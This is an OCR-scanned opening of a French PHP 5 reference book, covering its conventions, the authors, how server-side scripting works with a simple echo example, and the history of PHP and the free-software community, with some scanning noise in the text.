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Avant-propos 



La collection Bible Micro Application a ete concue pour permettre aux utilisateurs avances a 
experts d'approfondir leurs connaissances d'un theme precis. Exhaustifs, ces ouvrages permettent 
d'acquerir une connaissance integrate du sujet etudie, a la fois en theorie et en pratique. 

Conventions typographiques 

Afin de faciliter la comprehension des techniques decrites, nous avons adopte les conventions 
typographiques suivantes : 

■ gras : menu, commande, boite de dialogue, bouton, onglet. 
italique : zone de texte, liste deroulante, case a cocher, bouton radio. 

■ Police baton : instruction, listing, texte a saisir. 

s< : indique un retour a la ligne du aux contraintes de la mise en page. 
Au cours de votre lecture, vous rencontrerez les encadres suivants : 



VO? Propose des trues pratiques. 



ASTUCE 



/\\ Met ['accent sur un point important qu 'il ne faut negliger a aucun prix. 

ATTENTION 



® 

CD-ROM 



CONSEIL 



Mentionne un fichier exemple ou un programme disponible sur le CD 
d'accompagnement de I'ouvrage. 



Vous recommande une technique ou une marche a suivre. 



Vous indique le nom et Vemplacement des fichiers a telecharger. 



SOURCE 



»'«7 Renvoi a un site ou vous trouverez des infos complementaires ou des outils a 

INTERNET ^charger. 



II s'agit d' informations supplementaires relatives au sujet traite. 
REMARQUE 



y Fait reference a un chapitre oil vous trouverez des informations complementaires. 
RENVOI 
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Preface 

A qui s'adresse ce livre ? 

Ce livre a ete ecrit avec, en constante toile de fond, les attentes des lecteurs a l'egard de ce que 
doit etre la Bible d'un langage de programmation ; a savoir qu'elle doit pouvoir repondre aux 
interrogations du novice comme a celles de l'utilisateur experimente. 

Une breve histoire du PHP, ainsi qu'une introduction a la philosophie du logiciel libre, vous 
montreront qu'autant PHP aide au developpement de 1'Internet autant Internet contribue a 
1'evolution de PHP et offre quantite de ressources qui lui sont liees. Les debutants ne seront pas 
laisses sur le bord du chemin des les premieres pages puisque les differentes possibilites 
d'installation de PHP font l'objet d'un chapitre complet et detaille ou les principaux editeurs du 
marche sont egalement passes en revue. 

De tres nombreux aspects de PHP sont couverts dans cet ouvrage et la majeure partie des 
fonctions presentees sont illustrees par des exemples mettant bien en avant leur utilisation et 
comportement. Voila pourquoi ce livre est plus qu'une simple documentation de base. Le PHP 
est replace dans une optique d'apprentissage, ainsi que dans une idee d'utilisation au quotidien. 
Le lecteur apprendra vite a produire des formulaires, a creer des images, a manipuler des 
fichiers ainsi que des bases de donnees, ou encore a envoyer des e-mails. Le novice sera pris par 
la main pour qu'aucune zone d'ombre ne puisse subsister. 

Meme si la presentation de la programmation procedurale n'est pas delaissee, ce qui peut vous 
permettre de tirer partie de ce livre si vous restez attaches a la version 4 de PHP, la 
programmation orientee objet est bien evidemment presentee minutieusement afin de tirer 
pleinement partie de PHP5. 

Une fois acquis les premiers rudiments, l'utilisateur devenu initie, trouvera dans ce livre de quoi 
aller plus avant dans sa maitrise du PHP. II pourra apprendre a utiliser des bases de donnees 
professionnelles ainsi que les annuaires LDAP. II pourra manipuler les documents XML, creer 
des animations flash ou des fichiers PDF, acceder aux fonctionnalites reseau dont SOAP voire 
utiliser PHP en conjonction avec COM. Enfin, pour une utilisation veritablement 
professionnelle, il aura tout interet a consulter les comparatifs de solutions d'optimisation et 
d'obfuscation du code. 

Comme le demontrent les temoignages d'utilisateurs qui ont fait le choix du langage PHP, bien 
qu'historiquement cree pour les besoins d'une page "perso", PHP a desormais sa place dans le 
monde de l'entreprise. 



Les auteurs 

Les quatre auteurs de cette Bible disposent tous d'une experience differente de PHP. Venant 
d'horizons divers, ils ont tenu a mettre en commun leurs approches pour balayer le maximum 
d'aspects relatifs au PHP. 
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d'objets par XML (ebXML). 

II est egalement a l'origine du site http://www.toutesttacile.com, site a vocation d'enseignement du 
PHP, du SQL et du XML. 

II s'investit dans le developpement Open Source avec "Nukes the JBoss Portal" en Java/J2ee. 

II aime la batterie, la guitare et la photographie mais surtout l'informatique. 



Laurent GUEDON 

Ne en mai 1975, ce qui, pour lui, est deja tres (trop) loin. 

Apres une formation E.E.A (electronique), Laurent, vouant une grande passion au 
developpement Internet, a rejoint en 1999 une SSII specialised dans le developpement 
d'applications et de sites Internet. Laurent est developpeur PHP depuis PHP 2, ses premiers 
pas ayant ete effectues sur l'ex-hebergeur AlternB. Developpeur independant depuis 
septembre 2002, il est charge d'enseignement a la faculte de Rennes. 

II pratique (plutot mal) la guitare, fait du roller et se fait de petits trous dans la peau avec des 
piques en metal (il appelle qa le piercing). Mais, surtout, il ne se separe jamais de son Psion qui 
lui permet de developper pendant ses deplacements. 
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Pierre-Emmanuel Muller 

Journaliste specialise dans l'internet et les nouvelles technologies, il a un interet marque pour 
tout ce qui touche a la protection de la vie privee ainsi qu'aux logiciels libres. II a participe a 
diverses traductions d'applications libres. II est l'auteur ou coauteur de plusieurs ouvrages de 
vulgarisation inf ormatique (Securisez votre PC, Montez votre serveur deAtXZ, Utiliser les logiciels 
libres, etc.). 
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A quoi sert PHP ? 



1.1. A quoi sert PHP ? 

Presentation, role et fonctionnement d'un langage de script 

Avant de presenter le langage PHP, il est utile de situer brievement sa place sur l'internet. 
Comment, en effet, bien comprendre l'utilite d'un langage de script si la notion de "serveur" est 
encore floue ? 

L'internet est un reseau de reseaux, constitue d'ordinateurs connected entre eux. Sa structure 
est maillee, non pyramidale. II y a bien des echelons, mais les echelons les plus eleves sont, en 
fait, assez proches de la base, et sont, surtout, en tres grand nombre. Ces echelons sont 
interchangeables. Quand votre echelon superieur est absent, en panne, ou disparu, vous pouvez 
utiliser un autre echelon de meme type. En bref, deux machines sont generalement 
interchangeables. 

II est ainsi tres difficile de "diriger" l'internet. Comme tout bon processus de communication, 
Internet dispose d'un langage (en fait de plusieurs langages) qui depend du service que vous 
desirez utiliser (web, mail, ftp, etc.). Quel que soit le service en question, ce langage est 
commun a toutes les machines informatiques, et est indifferent aux plateformes. Les donnees 
provenant d'Internet sont done, moyennant parfois quelques retraitements, reutilisables par 
tout ordinateur. Ainsi, un site web est construit independamment de la plateforme sur laquelle 
il est congu. Ce sont les logiciels qui s'adaptent aux machines. II existe un navigateur web 
(Netscape) pour PC et une autre version pour Mac. Les donnees qu'ils exploitent, en revanche, 
sont independantes des systemes d'exploitation (Windows, MacOs, Linux, etc.). Les 
composantes les plus connues de l'internet sont le Web (World Wide Web) ou le courrier 
electronique (e-mail). 

Concentrons-nous sur le Web, car e'est de cela qu'il est question avec PHP. Admettons que 
vous desirez consulter le site web du moteur de recherche Google. Vous donnez l'adresse 
http://www.google.com a votre navigateur, vous lancez la recherche, et, quelques secondes plus tard, 
la page d'accueil du site s'affiche sur votre ecran. En fait, derriere cette action se cache toute une 
interaction client-serveur, primordiale a integrer pour bien saisir le fonctionnement de PHP. 
Votre navigateur, le client, interroge un serveur, en lui demandant la page d'accueil d'un site. 
Le serveur est une machine qui heberge le site web en question. Cette machine doit etre, en 
principe, connectee en permanence au reseau. Concretement, ce sont les disques durs de cette 
machine qui stockent les pages HTML ou PHP qui seront demandees par les internautes. Pour 
que le serveur soit en mesure de vous repondre, il faut que certains programmes et services 
soient presents et fonctionnels en son sein. Dans le cas d'un site web, il faut que le serveur 
dispose d'un serveur web, e'est-a-dire d'un programme permettant Interpretation et la diffu- 
sion des pages demandees par les internautes. Votre navigateur demande la page, le serveur web 
recoit et comprend votre requete, il recherche la page en question et, si elle est disponible, vous 
la retourne. En fait, il ne vous retourne que le code source de la page, en general du HTML, mais 
ce peut etre une image ou une animation. La mise en forme, la construction et l'affichage de la 
page incombent a votre navigateur. 

PHP est un langage de script HTML, e'est-a-dire qu'il fonctionne en relation avec le langage 
HTML (HyperText Markup Language). II fonctionne du cote du serveur, et non pas du cote du 
client, et permet de generer des pages web "a la volee". Concretement, un script PHP est integre 
au code source d'une page HTML. Lorsque la page est appelee, le script PHP est interprets, et 
le tout est livre au serveur web qui, au final, repond au navigateur de l'internaute. Le surfeur 
obtient une page HTML tout ce qu'il y a de plus classique, a la difference que cette page 
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n'existait pas en tant que telle sur le serveur web. On dit alors que la page a ete creee "a la 
volee", ou dynamiquement. 

Plus concretement, prenons une page HTML toute simple dont voici le code source : 

<html> 

<head> 
<title>Je teste le langage PHP</title> 

</head> 

<body> 

</body> 
</html> 

Voici un script PHP sans pretention : 

<?php 

echo ("PHP est un palindrome."); 

?> 

Pour integrer ce script a la page HTML, il suffit, ici, d'inserer le code entre les balises <body> 
et </body> de la page. Ce qui nous donne alors ceci : 

<html> 

<head> 
<title>Je teste le langage PHP</title> 

</head> 

<body> 
<?php 

echo "PHP est un palindrome."; 
?> 

</body> 
</html> 

C'est aussi simple que ca. Comme vous pouvez le constater, le script PHP est encadre par une 
balise de debut et une de fin (a savoir <?php et ?>). Ce sont des informations qui, a la lecture 
de la page, indiquent au serveur qu'il doit interpreter ces informations comme de PHP, et non 
plus comme du HTML. 

Un script est defini comme suit par le jargon Linux France : "Une suite d'instructions simples, 
peu structurees, permettant d'automatiser certaines taches [...]". Dit ainsi, c'est assez cinglant. 
En clair, un script PHP vous permet non seulement de generer du texte ou du code HTML, 
mais egalement d'envoyer un courriel, d'acceder a une base de donnees, de lancer un 
programme sur le serveur, etc. II est done ainsi possible de compter le nombre de visiteurs sur 
votre page, de gerer un livre d'or ou bien meme de realiser des applications web a part entiere, 
comme des gestionnaires de contenus (PHPNuke, DaCode, SPIP, etc.) ou des outils de travail 
collaboratifs (PHPGroupware, par exemple). 

En fait, PHP possede les memes fonctionnalites que les autres langages de script. Son gros 
atout reside dans son fonctionnement resolument tourne vers le Web. En natif, ce sont plus de 
vingt bases de donnees qui sont supportees par PHP, sans que l'utilisateur ait a faire quoi que 
ce soit. Tous les grands protocoles de l'internet fonctionnent, eux aussi, sans autre forme de 
proces avec PHP : SMTP, POP3, IMAP, FTP, SNMP, etc. 
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1.2. Les version 1 a 5 de PHP 
Rasmus Lerdorf 

Chaque grand projet libre a un pere ou un leader charismatique. PHP ne deroge pas a la regie. 
Qui plus est, l'histoire de PHP facilite les choses, ses premiers pas etant tout ce qu'il y a de plus 
simple a narrer. Les premieres esquisses de PHP sont le fait d'un seul homme : Rasmus 
Lerdorf. Sur son site personnel, Rasmus Lerdorf reste assez discret. Les rares elements que Ton 
peut glaner sur son parcours personnel se limitent a des experiences professionnelles ou a 
quelques hauts faits de programmation. On en apprend meme plus en suivant l'histoire de 
PHP, intimement liee a celle de son createur, tout au moins dans les premieres annees. Rasmus 
Lerdorf est ne en 1969 sur Pile de Greenland. On comprend que le petit Rasmus ait prefere 
l'informatique a l'agriculture, tant Pile de Greenland est peu clemente : les terres arables, les 
forets et les paturages permanents representent a peine 1 % de la superficie totale de Pile. L'ile 
de Greenland est tout de meme d'une superficie trois fois superieure a celle du Texas 
(2 170 000 km 2 ) pour une population inferieure a celle de Pile de Guernesey qui ne fait que 78 
km 2 (56 300 personnes). 

Figure 1.1 : 

Rasmus Lerdorf 




Rasmus Lerdorf ne se definit pas comme un programmeur, meme si le fait qu'il soit capable de 
faire fonctionner PHP sur son magnetoscope conduit le spectateur a penser le contraire. II n'a 
pas de diplome d'informaticien, mais une formation d'ingenieur. II a travaille pour des societes 
comme Bell, IBM ou Linux Care. Selon une etude menee a grands coups de scripts Perl par Per 
Abrahamsen, Rasmus Lerdorf est Pun des Danois les plus celebres. II arrive meme, dans le 
classement, avant le penseur Soren Kierkegaard. 

Signalons enfin que Rasmus Lerdorf, en bon developpeur du logiciel libre, n'est pas denue de 
sens de Phumour. Le petit dernier des Lerdorf a pour nom Carl Alexander Lerdorf. Sur le site 
de la famille Lerdorf, son nom se lit : Carl AlexandeR Lerdorf. . . Recursif, quand tu nous tiens ! 



>?fc Quelques sites (en anglais) 

%S? Site officiel de la famille Lerdorf (avec les photos du petit Carl Alexander Lerdorf) : 

INTERNET http://www.lerdorf.com 

Les Danois celebres : 

http://www.dina.kvl.dk/~abrahamlfame/fame.html 
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Naissance et evolution de PHP 

Naissance et premiere version 

La premiere version de PHP n'en etait pas une. Ce ne furent que quelques outils developpes 
par Rasmus Lerdorf pour les besoins de son site personnel. Dans le courant de l'annee 1993, 
M. Lerdorf avait commence a developper des scripts en langage C et en Perl. A partir de la a pu 
etre constitute, en septembre 1993, une premiere librairie. Lasse de devoir reecrire encore et 
toujours les memes portions de code, M. Lerdorf eut 1'idee de separer sa logique de 
programmation de celle du HTML, afin de pouvoir reutiliser plus facilement certaines portions 
de code. 

Pour qu'une premiere version de PHP comme langage de script voie le jour, il ne manquait plus 
a la librairie qu'un interpreteur capable d'analyser le code HTML, pour y reperer des balises 
particulieres et appeler les fonctions qui y sont liees. Cela fut fait en novembre 1993, date a 
laquelle M. Lerdorf situe la naissance de la toute premiere version de PHP. La premiere 
mouture du langage n'avait done pas de tres grandes ambitions. PHP se limite alors a un 
interpreteur qui analyse une page HTML, en ressort des balises (inspirees du SGML), et 
appelle les fonctions correspondantes a ces balises. Tout cela dans quel but ? Afin de compter 
et d'enregistrer le nombre de visiteurs consultant un curriculum vitae sur son site personnel. 
Rasmus Lerdorf resume ses motivations a une lassitude face a Perl, juge comme etant trop lent 
et dote d'un analyseur trop restrictif. 

Cette premiere version n'eut qu'un succes tres limite, et pour cause. . . elle ne fut jamais publiee. 
II faut attendre fevrier 1994 pour qu'une premiere version de PHP soit enfin diffusee. 



jfjk Interviews de Rasmus Lerdorf 

^kW Interview de Rasmus Lerdorf dans le Journal du Net : 

INTERNET http://developpeur.journaldunet.com/itws/itjhpnexen_rasdorf.shtml 

Interview de Rasmus Lerdorf pour O'Reilly (en anglais) : 

http://web.oreilly.com/news/lerdorf_0200.html 



PHP 2 et Pouverture sur le monde 

La premiere utilisation plus large de PHP remonte au site http://www.io.org. Rasmus Lerdorf 
reutilisa son langage de script pour installer divers petits outils en ligne (un compteur de 
visiteurs, l'affichage de la derniere personne connectee, etc.). Alors, le succes de PHP fut 
immediat. D'autres utilisateurs du site voulurent utiliser PHP, et les scripts pousserent dans le 
HTML comme les champignons dans un sous-bois humide. Etant donne que l'interpreteur 
evoque plus haut etait lui-meme un CGI, les administrateurs du site repererent rapidement le 
changement. PHP se revelait fort gourmand en ressources. Pour remedier a cela et eviter une 
mort certaine du langage, Rasmus Lerdorf se pencha alors sur le serveur web pour y inclure PHP 
comme module interne plutot que de le conserver en module externe (CGI), beaucoup plus 
lourd. Le serveur utilise etait HTTPD NCSA, de l'Universite de l'lllinois. Une fois PHP ajoute 
au serveur, M. Lerdorf convainquit tout de meme les administrateurs de passer sous Apache, 
serveur web beaucoup plus souple a utiliser et a programmer. 
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C'est a cette epoque que M. Lerdorf obtint un emploi a l'universite de Toronto. Sa mission etait 
de mettre en place un systeme de connexion a l'lnternet gere depuis une interface web. Le tout 
faisait intervenir une base de donnees des etudiants, des serveurs, des terminaux Cisco ainsi que 
quelques autres composants. En recherchant un outil utilisable dans la mise en place de cette 
architecture, Rasmus Lerdorf se rendit compte qu'il n'y avait rien qui lui plaisait reellement. II 
decida done de reecrire l'interpreteur de PHP et ses outils connexes, pour les rendre plus 
facilement multi-usages et generalistes. PHP devait etre capable de dialoguer avec des bases de 
donnees ou d'autres sources exterieures (comme, par exemple, des formulaires HTML). 

Ce sera a nouveau, pour Rasmus Lerdorf, l'occasion d'utiliser PHP et de le faire progresser. 
Anciennement Personal Home Page, PHP s'appelle alors PHP/FI (PHP/Form Interpreter, 
interpreteur de formulaires), du fait des nouveaux outils ajoutes par M. Lerdorf pour interf acer 
PHP avec des bases de donnees. La syntaxe de PHP/FI reste simple, encore un peu incoherente 
et assez proche du Perl. 

PHP/FI connait alors un tres large succes. De nombreux developpeurs utilisent PHP, et non pas 
seulement pour interroger des bases de donnees. PHP/FI sert deja a creer des pages web au 
contenu dynamique, ce qui sera l'une des applications les plus populaires du langage par la 
suite. II presente deja certaines des principales fonctionnalites de PHP. 

En 1997, ce sont deja plus de 50 000 sites qui utilisent PHP. 

PHP 3 

Publiee en juin 1998, apres neuf mois de tests, la troisieme version du desormais officiellement 
nomme PHP (PHP : Hypertext Preprocessor, le premier P faisant reference a PHP lui-meme. 
Recursif quand tu nous tiens...) fait un grand bond en avant. La sortie de cette nouvelle version 
correspond egalement a une solide refonte du moteur de PHP. Deux developpeurs, Zeev 
Suraski et Andi Gutmans jugeaient que PHP/FI n'etait pas assez performant pour leurs 
applications de commerce en ligne, et deciderent done de le reecrire. PHP 3 fut annonce 
comme le successeur officiel de PHP/FI. 

L'une des principales nouveautes de PHP 3 - principale en tout cas au regard de son 
developpement - fut une API (Application Programming Interface, interface de 
programmation d'application) qui permit a de nombreux developpeurs de participer au 
developpement du langage. De plus, PHP supportait desormais la syntaxe objet, sa syntaxe 
propre devenant, elle, plus coherente et solide. 

La version finale de PHP 3 fonctionnait sur de nombreuses plateformes, avec de nombreux 
serveurs web et bases de donnees. Les protocoles SNMP ou IMAP etaient alors supportes 
moyennant une compilation appropriee. PHP pouvait etre utilise en mode CGI avec la plupart 
des serveurs HTTP, ou bien etre charge en module, comme par exemple avec Apache. 

De nombreuses fonctionnalites avaient ete ajoutees a PHP 3, mais, en plus, cette sortie 
coincidait avec l'attente de nombreux nouveaux webmestres qui avaient besoin d'un outil 
simple pour ajouter une touche de dynamisme a leurs sites web. La fin des annees 1990 fut, en 
effet, une periode faste pour le Web, porte dans sa croissance par l'arrivee de l'lnternet dans le 
grand public. PHP permettait alors de mettre en place tres facilement une solution de 
commerce en ligne, des albums photo, des systemes de gestion de contenus, etc. Sa facilite 
d'acces et d'usage, ainsi qu'une gamme d'outils resolument tournes vers le Web, faisaient de ce 
langage la solution ideale pour de nombreux webmestres. 

A la fin de l'annee 1998, plus d'un million de serveurs web devaient utiliser PHP 3. Le langage 
de script avait conquis plusieurs dizaines de milliers d'utilisateurs. 
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PHP 4 

Fidele a la toute jeune tradition, PHP 4 allait une nouvelle fois entrainer une reecriture 
complete de son moteur. Des l'hiver 1998, Andi Gutmans et Zeev Suraski se pencherent sur le 
moteur interne du langage pour le reprendre de fond en comble. Leur objectif etait de rendre 
PHP encore plus performant (ce que Ton comprend aisement), et de rendre le code encore plus 
modulaire. II f allait egalement permettre au PHP d'etre plus a l'aise avec des applications 
complexes. PHP 3 posait probleme face a ces applications complexes. Sa syntaxe permettait 
leur execution, mais le moteur du langage n'avait pas ete concu pour les faire fonctionner 
efficacement. L'ecriture d'un nouveau moteur semblait alors necessaire pour permettre au 
PHP de passer a une nouvelle etape de sa croissance. 

Ce nouveau moteur devait porter le nom de ses deux createurs : le Zend Engine, combinaison 
de ZEev et ANDi. Une premiere version de PHP dote de ce nouveau moteur sortit dans le 
courant de l'annee 1999. La publication officielle de la version finale fut annoncee en mai 2000, 
six ans apres le premier PHP. PHP 4 assurait une compatibility; ascendante par rapport a 
PHP 3, et la migration de PHP 3 a PHP 4 fut encore plus souple que celle de la version 2 a la 
version 3. 

Outre un coeur neuf, PHP disposait d'une plethore de nouveaux membres. Dans sa quatrieme 
version, PHP supporte quasiment tous les serveurs web du marche, les bases de donnees les 
plus repandues, plusieurs nouvelles structures de langage ou encore la bufferisation de sortie. 
On compte egalement des ameliorations en matiere de securite. L' architecture de PHP 4 est 
encore plus ouverte et evolutive que celle de PHP 3. On remarque notamment la creation d'une 
interface ISAPI (Internet Server Application Programming Interface, outil de specification des 
DLL pouvant etre utilise par les serveurs web de Microsoft). PHP 4 permet egalement 
d'instancier et de manipuler des classes Java comme si elles etaient de simples classes PHP. 
PHP peut aussi executer des servlets. Autre amelioration majeure de PHP 4 : ['introduction des 
sessions en mode natif. L'impossibilite pour PHP 3 de gerer les sessions constituait une grosse 
lacune pour un langage tout entier tourne vers le Web. Cette faiblesse ne jouait pas en faveur 
de PHP, tout particulierement face a l'ASP qui, lui, savait deja gerer les sessions. La lacune de 
PHP 3 pouvait certes etre comblee via des solutions comme PHPLib, mais l'inclusion en mode 
natif dans PHP 4 reglait definitivement la question. PHP 4 marque egalement l'entree du 
langage dans le monde des societes commerciales. Les deux peres fondateurs de PHP 3, Zeev 
Suraski et Andi Gutmans, creerent la societe Zend pour distribuer et vendre des produits 
gravitant autour de PHP. Si le Zend Engine reste fibre, bien que sous une licence assez 
critiquee jusque dans sa seconde version, certains produits commercialises par Zend sont des 
logiciels proprietaries. Signe evident d'une maturite du langage, PHP devient alors le support 
d'un commerce tourne vers les grands comptes de l'lnternet. Belle evolution pour ce qui n'etait, 
au depart, qu'une petite collection de scripts Perl destines a compter des visiteurs... 

La communaute PHP ne compte plus seulement des developpeurs ou des webmestres. 
Desormais, de nombreux internautes participent a la documentation de PHP, a sa traduction 
ou a son annotation. En France, par exemple, la societe Nexen heberge la documentation 
officielle de PHP en frangais, dont elle a produit une version annotee. Le projet Pear regroupe, 
lui aussi, de nombreux participants, qui ne sont pas directement impliques dans le 
developpement de PHP. 

On compte aujourd'hui plusieurs millions de sites web qui utilisent PHP. En se basant sur ce 
comptage des noms de domaines, on peut dire que cela represente 20 % de l'lnternet. Les 
developpeurs, eux, sont des centaines de milliers a l'utiliser. Le site Security Space tient a jour 
une liste des modules Apache les plus utilises. En juin 1998, PHP etait present sur 8 % des sites 
audites par Security Space. En mars 2002, presque 45 % des sites audites avaient installe le 
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module PHP pour Apache. Perl, lui, etait, a la meme date, present sur 20 % de ces sites 
(rappelons que Perl date de 1987 et PHP de 1994). 















Utilisation du PHP par des serveurs web 
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Figure 1.2: Le nombre de sites utilisant PHP croit dejour en jour 

PHP 5 

La tant attendue version 5 de PHP est sortie le 13 juillet 2004. Elle apporte de tres nombreuses 
nouveautes tout en conservant une large compatibility avec PHP4. Si la grande nouveaute de la 
version 5 reste le nouveau modele oriente objet, les developpeurs de PHP n'ont pas oublie 
l'heritage des 4 precedentes versions qui ont permis a de tres nombreux developpeurs de faire 
leurs premiers pas dans le monde du script pour le web. La plupart des scripts ecrits pour PHP4 
devraient fonctionner sans modifications avec PHP5. II existe toutefois quelques differences 
dont la liste est disponible sur le site officiel du projet PHP. 



INTERNET 



Incompatibilites entre PHP4 et PHP 5 

Meme si vos scripts ecrits pour PHP4 ont de tres larges chances d'etre compatibles 
avec PHP5, certaines incompatibilites ou modifications sont connues et listees. Le 
site officiel PHP en denombre une dizaine. Vous les trouverez a cette adresse : 
http://www.php.net/inanuallfr/migration5.incompatible.php 



devolution de PHP 

PHP, et avec lui toute la communaute de developpeurs, doit faire face a des questions inedites. 
Sa taille provoque des soucis d'echelle, deja rencontres par d'autres projets (comme Linux, par 
exemple). Jusqu'a present, les reponses apportees par la communaute aux problemes apparus 
furent satisfaisantes, tout au moins assurerent-elles sa survie et sa croissance, sans nuire a la 
qualite du langage. On peut citer, a titre d'exemple, la mise en place d'une equipe d'assurance 
qualite durant l'ete 2000 pour faire face aux nombreuses critiques suscitees par la pietre qualite 
des premieres versions de PHP 3. Le langage avait, en effet, ete teste sur trop peu de 
plates-formes differentes. Desormais, une equipe complete de developpeurs a pour objectif 
principal de chasser le bug au sein du projet PHP. 
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Alors que PHP est un langage de script ne du Web pour le Web, Ton voit meme naitre des 
projets impliquant PHP, qui n'ont plus rien a voir avec les objectifs premiers du langage. 
PHPGtk est ainsi une solution permettant de developper des applications en PHP a partir 
d'une interface graphique cote client. 

De meme, l'entree en jeu de societes commerciales a amene des questionnements souleves par 
des acteurs du monde du libre, comme la FSF (cf. probleme de la licence du moteur Zend). 
Encore une fois, la communaute PHP a su faire preuve de beaucoup de pragmatisme dans ses 
reponses. Resultat des pressions de la FSF, Zend a change la licence de son moteur. PHP 4 
reste, pour sa part, sous une licence Apache, jugee plus souple pour les developpeurs. Et, quand 
on demande aux developpeurs de PHP comment ils prennent les critiques que Ton peut leur 
adresser parce que PHP 4 n'est pas GPL, ils vous repondent "avec des f rites". 

Si Rasmus Lerdorf a pu etre, a un moment, une figure de proue de PHP, et qu'il reste 
aujourd'hui encore son representant le plus mediatique, on peut tout de meme remarquer que 
la communaute PHP ne beneficie pas d'une structure centralisatrice qui ferait l'interface entre 
le langage et les entreprises ou les institutions. Le logiciel libre a 1'Open Source Initiative ou la 
FSF, un projet comme Kde dispose de toute une infrastructure qui assure sa promotion ou sa 
representation, Linux a Linus Torvalds. Vu de l'exterieur, le monde de PHP parait encore flou. 



@PHP 
La societe Zend, editrice du Zend Engine (en anglais) : 
INTERNET http://www.zend.com 
La societe Nexen : 
http://www.nexen.net 

Nombre de sites utilisant PHP (en anglais) : 
http://www.php.net/usage.php 
Modules Apache les plus utilises (en anglais) : 
http://www.securityspace.com/s_survey/data/man.200203/apachemotls.html 
Des projets attaches au PHP : 
http://php3.de/manual/fr/html/history.php.related.html 
Interview du createur de PHPGtk (en anglais) : 
http://beta.usephp.net/article.php3?id_article=3p 



La creation de la communaute 

Si PHP a pu croitre et prosperer jusqu'a devenir l'un des langages de script les plus utilises, c'est 
en grande partie grace a une communaute de developpeurs qui, des la version 3, fut la cheville 
ouvriere de ses ameliorations. PHP/FI, seconde version du langage, reste l'ceuvre d'un seul 
homme, Rasmus Lerdorf, pere de PHP. A partir de la version 3, Rasmus Lerdorf n'est plus seul 
a la tete de PHP. Zeev Suraski et Andi Gutmans prirent en main, par deux fois, la refonte 
complete du moteur de PHP. Cette ouverture de PHP est due a une interface API mise en place 
tres tot, mais, surtout, a la volonte de son createur de partager son travail avec d'autres 
developpeurs. Rasmus Lerdorf le dit lui-meme : il a toujours appris en regardant le code 
d'autres programmeurs. Ne pas faire profiter, en retour, la communaute de son travail ne lui a 
meme pas traverse l'esprit. 
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Comment cette communaute est-elle nee ? Dans une interview, Rasmus Lerdorf situe sa date 
de naissance au jour ou, alors employe par l'universite de Toronto, il avait mis en ligne son code 
source a disposition sur une page web. Cela dans l'optique evidente que d'autres puissent en 
profiter. II n'avait alors aucune idee de qui utilisait PHP de par le monde, ni pour quelles 
applications. Un beau jour, il recut un courriel d'un utilisateur japonais, qui lui faisait parvenir 
un patch. Le patch etait tout a fait fonctionnel et pertinent. II resolvait un probleme auquel 
Rasmus Lerdorf n'avait pas encore eu affaire, mais qui allait se poser ineluctablement. PHP 
beneficiait d'une aide exterieure, la communaute etait nee ; elle compte aujourd'hui plus de 
300 developpeurs. 



j/S| La communaute PHP 

%!W Rasmus Lerdorf raconte la naissance de la communaute : 

internet http://developpeur.journaltlunet.eom/itws/itjihpnexenjasdorf.shtml 



1.3. La communaute du libre 



Pourquoi presenter le monde du logiciel libre dans un livre traitant de PHP ? Simplement parce 
que, sans cette communaute, PHP ne serait pas ce qu'il est aujourd'hui. Si la marque du monde 
du libre n'est pas particulierement visible sur le langage lui-meme, sa philosophic et son mode 
de developpement ont eu, et ont toujours, une influence notable sur le langage PHP et sa 
croissance. II suffit de voir le role preponderant que joue le triptyque Apache-MySQL-PHP 
dans le monde du Web face a des solutions comme IIS-ASP-Access. PHP est indissociable du 
monde du libre. Cette partie n'a pas pour objectif de faire l'apologie du logiciel libre, ni meme 
de faire un comparatif entre code source ouvert ou code source ferme ; tout comme le souligne 
Linus Torvalds lui-meme, les deux existent et e'est tant mieux. II nous a pourtant semble utile 
de presenter le monde du libre, pour permettre a celui qui decouvre PHP, d'une part de 
comprendre le contexte de sa croissance et de son evolution, et d'autre part de savoir vivre dans 
le monde de PHP. Celui qui ne sait pas que les developpeurs qui travaillent avec PHP 
distribuent largement leurs sources et discutent massivement en ligne de revolution du langage 
et des questions techniques qui s'y rattachent sera vite perdu et passera a cote de l'un des 
principaux atouts de PHP : sa communaute. 



Historique 



Le monde du logiciel libre plonge ses racines dans l'histoire des hackers (au sens premier du 
terme). Toute la culture du logiciel libre et son folklore doivent beaucoup aux pionniers de 
l'informatique, ces "vrais programmeurs" : les hackers (selon la definition d'Eric S. Raymond). 
Pour une histoire complete et documented de cette culture, on se reportera a Une breve histoire 
des hackers, par M. Eric S. Raymond. Disons simplement que les logiciels libres ne sont pas nes 
avec Linux. Leur histoire est bien plus riche et complexe. 

C'est dans l'un des plus prestigieux laboratoires d'informatique du monde, celui d'intelligence 
artificielle du MIT (Institut de technologie du Massachusetts) que s'est cristallisee l'opposition 
entre logiciels libres et logiciels proprietaries. Chef de file du laboratoire, et feroce opposant a 
la commercialisation des techniques mises au point dans ce laboratoire, Richard M. Stallman 
crea, en 1984, la Fondation du logiciel libre (Free Software Foundation, FSF). Hacker au sens 
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propre du terme, il developpa alors des logiciels libres, dont le celebre editeur Emacs. M. 
Stallman entrepris alors de recreer un clone complet libre du systeme d'exploitation 
proprietaire UNIX. C'est ainsi que naquit le projet GNU (GNU is not UNIX. Decidement, 
acronyme recursif quand tu nous tiens...). La FSF avait pour objectif de soutenir et 
d'accompagner des projets libres. Sa creation formalisait les theses et idees des defenseurs du 
logiciel libre. Fortement impregnee de la culture de 1'echange et de la transmission libre des 
savoirs des milieux universitaire et scientifique, la FSF estime que "tout comme les idees, les 
logiciels ne sont pas tangibles et peuvent etre copies sans perte. Les transmettre est la base d'un 
processus devolution qui alimente le developpement des reflexions." (site de la FSF Europe, 
Qu'est-ce qu'un logiciel libre ?). Pour etre qualifie de libre, un logiciel doit, selon la FSF, 
repondre a quatre criteres de liberte. Tout d'abord, un programme doit pouvoir etre execute 
pour n'importe quel usage. Ensuite, un utilisateur doit pouvoir etudier le fonctionnement du 
programme et l'adapter a ses besoins. II doit egalement etre possible de redistribuer des copies 
et, enfin, d'ameliorer le programme en rendant publiques les modifications pour que 
l'ensemble de la communaute en beneficie. 

Pour assurer ces libertes aux logiciels libres, M. Stallman etablit la GPL : GNU General Public 
License. 



La machine en marche 

Les logiciels de la FSF ne sont pas les seuls produits libres. De tres nombreux logiciels libres 
sont en rapport avec l'internet. S'ils n'y sont pas directement lies, c'est leur developpement qui 
en a profite. 

On peut citer Sendmail, developpe en 1981 par Eric Allman. Aujourd'hui encore distribue 
gratuitement par la societe Sendmail Inc., Sendmail est l'agent de transport de mails le plus 
utilise sur Internet. II detient plus de 75 % des parts de marche. 

Autre figure historique et emblematique du monde du libre : Perl. Perl signifie Pratical 
